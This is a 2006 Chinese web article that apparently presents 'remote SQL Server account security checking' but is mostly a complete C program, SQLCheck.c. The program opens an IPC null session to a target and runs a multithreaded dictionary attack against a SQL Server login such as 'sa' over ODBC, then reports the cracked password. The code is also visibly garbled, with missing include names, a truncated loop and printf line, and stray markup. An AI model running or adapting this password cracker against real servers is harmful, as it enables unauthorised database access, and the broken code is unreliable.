远程检测MS SQL Server账号安全性

作者:未知 来源:未知 添加时间:2006年7月3日 字体:

  ODBC是开放数据互连(Open Database Connectivity)的简称,它是一个用于远程访问数据
库(主要是关系型数据库)的统一界面标准。  ODBC下现实运用中是一个数据库的访问库,
它提供了一组ODBC API函数可以提供给编程者使用。对于程序员来说,ODBC API函数集实际上
等于一个动态连接库(DLL)集,可以在应用程序中直接使用它们。
   一个应用程序直接调用ODBC API函数来进行数据库的应用工作,工作过程一般比较复杂。
其中一种办法大概是以下几步:
   <1>启动ODBC数据库应用程序。 
   下面以一个实例来说明远程检测MS SQL Server账号密码的全过程。 
   /**********************************************************
   Module Name:SQLCheck.c 
   Date:2000.12.14 
   WEB:www.patching.net 
   Notices:Copyright(c) eyas 
   **********************************************************/
   #include 
   #include 
   #include 
   #include 
   #include 
   #include 
   #include 
   #include 
   ////////////////////////////////////////////////////////////////////////
   file&#58//定义全局变量 
   char dict[20000][40],//密码字典 
   UserName[40],//用户名 
   target[40],//目标服务器 
   passwd[40];//已经探测出来的正确密码 
   int total=0;//字典里面单词数量 
   BOOL Cracked=FALSE;//探测密码成功时此值为TRUE 
   HANDLE hSemaphore,//信标内核对象 
   hEvent;//事件内核对象 
   long MaxThreads,//最大线程数量 
   ActiveThreads;//活动线程数量 
   ////////////////////////////////////////////////////////////////////////
   void usage(char *pragname) 
   { 
   printf(" Power by eyas" 
   " http://www.patching.net
   " 2000/12/14" 
   " Usage:%s " 
   " Example:%s 192.168.0.1 sa c:\pwd.dic 50 ",pragname,pragname);
   return; 
   } 
   ////////////////////////////////////////////////////////////////////////
   int ReadDic(char *dic) 
   { 
   FILE *fp; 
   char tmp[40]; 
   file&#58//打开字典文件 
   if((fp=fopen(dic,"r"))==NULL) 
   { 
   printf(" Can't open %s",dic); 
   return 1; 
   } 
   while(!feof(fp)) 
   { 
   file&#58//读取数据到临时变量 
   if(fgets(tmp,40,fp)==NULL) 
   break; 
   file&#58//把从文件里面读出来的最后一位数据[换行符号]去掉 
   strncpy(dict[total],tmp,strlen(tmp)-1); 
   total++;   if(total>=19999) 
   break; 
   } 
   fclose(fp); 
   return 0; 
   } 
   ////////////////////////////////////////////////////////////////////////
   int ConnIPC(char *RemoteName) 
   { 
   NETRESOURCE nr; 
   DWORD flags=CONNECT_UPDATE_PROFILE; 
   TCHAR RN[30]="\\", 
   LN[5]=""; 
   strcat(RN,RemoteName); 
   strcat(RN,"\ipc$"); 
   nr.dwType=RESOURCETYPE_DISK; 
   nr.lpLocalName=(LPTSTR)&LN; 
   nr.lpRemoteName=(LPTSTR)&RN; 
   nr.lpProvider=NULL; 
   if(WNetAddConnection2(&nr,(LPSTR)"",(LPSTR)"",flags)==NO_ERROR)
   { 
   return 0; 
   } 
   else 
   { 
   return 1; 
   } 
   } 
   ////////////////////////////////////////////////////////////////////////
   int DelIPC(char *RemoteName) 
   { 
   DWORD ret; 
   TCHAR lpName[30]="\\"; 
   strcat(lpName,RemoteName); 
   strcat(lpName,"\ipc$"); 
   ret=WNetCancelConnection2(lpName,CONNECT_UPDATE_PROFILE,TRUE);
   if(ret==NO_ERROR) 
   { 
   return 0; 
   } 
   else 
   { 
   return 1; 
   } 
   } 
   ////////////////////////////////////////////////////////////////////////
   DWORD WINAPI SQLCheck(PVOID pPwd) 
   { 
   file&#58//定义局部变量 
   char szBuffer[1025]; 
   char *pwd; 
   SWORD swStrLen; 
   SQLHDBC hdbc; 
   SQLHANDLE henv; 
   SQLRETURN retcode;//ODBC API运行返回值 
   SCHAR ConnStr[200];//连接数据库字符串 
   long PreviousCount; 
   file&#58//取得传递过来准备探测的密码 
   pwd=(char *)pPwd; 
   file&#58//构造连接数据库字符 
   sprintf(ConnStr,"DRIVER={SQL Server};SERVER=%s;UID=%s;PWD=%s;DATABASE=master",
   target,UserName,pwd); 
   file&#58//puts(ConnStr); 
   __try{ 
   file&#58//创建数据库应用的环境句柄 
   if (SQLAllocHandle(SQL_HANDLE_ENV,SQL_NULL_HANDLE,&henv) !=SQL_SUCCESS)
   { 
   printf(" Allocate environment handle failed. ");
   ExitProcess(1); 
   } 
   file&#58//设置ODBC版本环境 
   if (SQLSetEnvAttr(henv, SQL_ATTR_ODBC_VERSION,(SQLPOINTER)
   SQL_OV_ODBC3, SQL_IS_INTEGER) != SQL_SUCCESS)
   { 
   printf(" Set the ODBC version environment attribute failed. ");
   SQLFreeHandle(SQL_HANDLE_ENV, henv); 
   ExitProcess(1); 
   } 
   file&#58//创建连接句柄 
   if ((retcode= SQLAllocHandle(SQL_HANDLE_DBC,henv,(SQLHDBC FAR
   *)&hdbc)) != SQL_SUCCESS) 
   { 
   printf(" Allocate connection handle failed. ");
   SQLFreeHandle(SQL_HANDLE_ENV, henv); 
   ExitProcess(1); 
   } 
   file&#58//连接数据源 
   retcode= SQLDriverConnect(hdbc,NULL,ConnStr,strlen(ConnStr),
   szBuffer,sizeof(szBuffer),&swStrLen, 
   SQL_DRIVER_COMPLETE_REQUIRED); 
   if(retcode!=SQL_SUCCESS && retcode != SQL_SUCCESS_WITH_INFO)
   { 
   file&#58//连接失败,函数终止 
   file&#58//printf(" Couldn't connect to %s MSSQL server. ",target);
   } 
   else 
   { 
   file&#58//连接远程MSSQL Server数据库成功 
   Cracked=TRUE; 
   strncpy(passwd,pwd,sizeof(passwd)); 
   file&#58//断开连接 
   SQLDisconnect(hdbc); 
   } 
   }//end of tyr 
   __finally{ 
   file&#58//释放连接句柄 
   SQLFreeHandle(SQL_HANDLE_DBC, hdbc); 
   file&#58//释放环境句柄 
   SQLFreeHandle(SQL_HANDLE_ENV, henv); 
   file&#58//对信标当前资源数量进行递增1,并取得当前资源数量的原始值 
   ReleaseSemaphore(hSemaphore,1,&PreviousCount);
   file&#58//计算当前活动线程数量 
   ActiveThreads=MaxThreads-PreviousCount-1;
   file&#58//printf(" ActiveThreads-->%d.",ActiveThreads); 
   file&#58//如果活动线程数量为0,那么将事件内核对象hEvent改为已通知状态,程序结束
   if(ActiveThreads==0) 
   { 
   SetEvent(hEvent); 
   } 
   }//end of finally 
   return 0; 
   } 
   ////////////////////////////////////////////////////////////////////////
   int main(int argc,char **argv) 
   { 
   HANDLE hThread;//线程句柄 
   DWORD dwThreadId,dwRet; 
   int i=0,err=0; 
   clock_t start,end;//程序运行的起始和结束时间 
   double duration; 
   if(argc!=5) 
   { 
   usage(argv[0]); 
   return 1; 
   } 
   file&#58//取得目标地址,用户名 
   strncpy(target,argv[1],sizeof(target)); 
   strncpy(UserName,argv[2],sizeof(UserName));
   file&#58//取得并检查用户输入的最大线程数量 
   MaxThreads=atol(argv[4]);   if((MaxThreads>100) || (MaxThreads<1)) 
   { 
   usage(argv[0]); 
   return 1; 
   } 
   file&#58//读取字典中的单词到内存中 
   if(ReadDic(argv[3])!=0) 
   return 1; 
   file&#58//与目标机器建立IPC Session 
   if(ConnIPC(argv[1])!=0) 
   { 
   printf(" Can't built IPC NULL Session!"); 
   return 1; 
   } 
   else 
   { 
   printf(" Built IPC NULL Session success! ");

  } 
   file&#58//创建信标内核对象,最大资源数量和可以使用的资源数量均为MaxThreads
   hSemaphore=CreateSemaphore(NULL,MaxThreads,MaxThreads,NULL);
   if(hSemaphore==NULL) 
   { 
   printf(" CreateSemaphore() failed.ErrorCode:%d.",GetLastError());
   return 1; 
   } 
   file&#58//创建事件内核对象[人工重置,初始状态为未通知] 
   hEvent=CreateEvent(NULL,TRUE,FALSE,NULL);


  if(hEvent==NULL) 
   { 
   printf(" CreateEvent() failed.ErrorCode:%d.",GetLastError());
   CloseHandle(hSemaphore); 
   return 1; 
   } 
   file&#58//开始计时 
   start=clock(); 
   file&#58//开始建立线程探测密码 
   for(i=0;i { 
   file&#58//探测密码成功后跳出此循环 
   if(Cracked==TRUE) 
   break; 
   file&#58//显示进度信息   printf(" [%d/%d] %s -> %s -> %s",i+1,total,target,UserName,dict[I); 
   file&#58//创建线程 
   hThread=CreateThread(NULL,0,SQLCheck,(PVOID)&dict[I,0,&dwThreadId);
   file&#58//处理创建线程错误的情况 
   if(hThread==NULL) 
   { 
   err++; 
   MessageBox(NULL,"thread error","error",MB_OK);


  break; 
   } 
   CloseHandle(hThread); 
   Sleep(10); 
   file&#58//等待信标内核对象通知,可用资源数量大于0则继续创建线程,等于0则线程进入
   WaitForSingleObject(hSemaphore,INFINITE);


  } 
   file&#58//等待事件内核对象通知,最多等待3分钟 
   dwRet=WaitForSingleObject(hEvent,180000);
   switch(dwRet) 
   { 
   case WAIT_OBJECT_0: 
   printf(" All thread done."); 
   break; 
   case WAIT_TIMEOUT: 
   printf(" Wait time out.Exit."); 
   break; 
   case WAIT_FAILED: 
   printf(" WaitForSingleObject() failed.");


  break; 
   } 
   file&#58//断开与目标机器的IPC Session 
   DelIPC(target); 
   file&#58//探测密码成功后回显信息 
   if(Cracked==TRUE) 
   printf(" Success!%s SQL Server User [%s] passwd is [%s].",tar
   file&#58//记时结束 
   end=clock(); 
   file&#58//转换时间格式 
   duration = (double)(end - start) / CLOCKS_PER_SEC;
   file&#58//显示所用时间 
   printf(" Complete.Use %2.1f seconds. ",duration); 
   return 0; 
   } 
   ////////////////////////////////////////////////////////////////////////
   程序在windows2000,vc++6.0环境下编译通过。 

ppdesk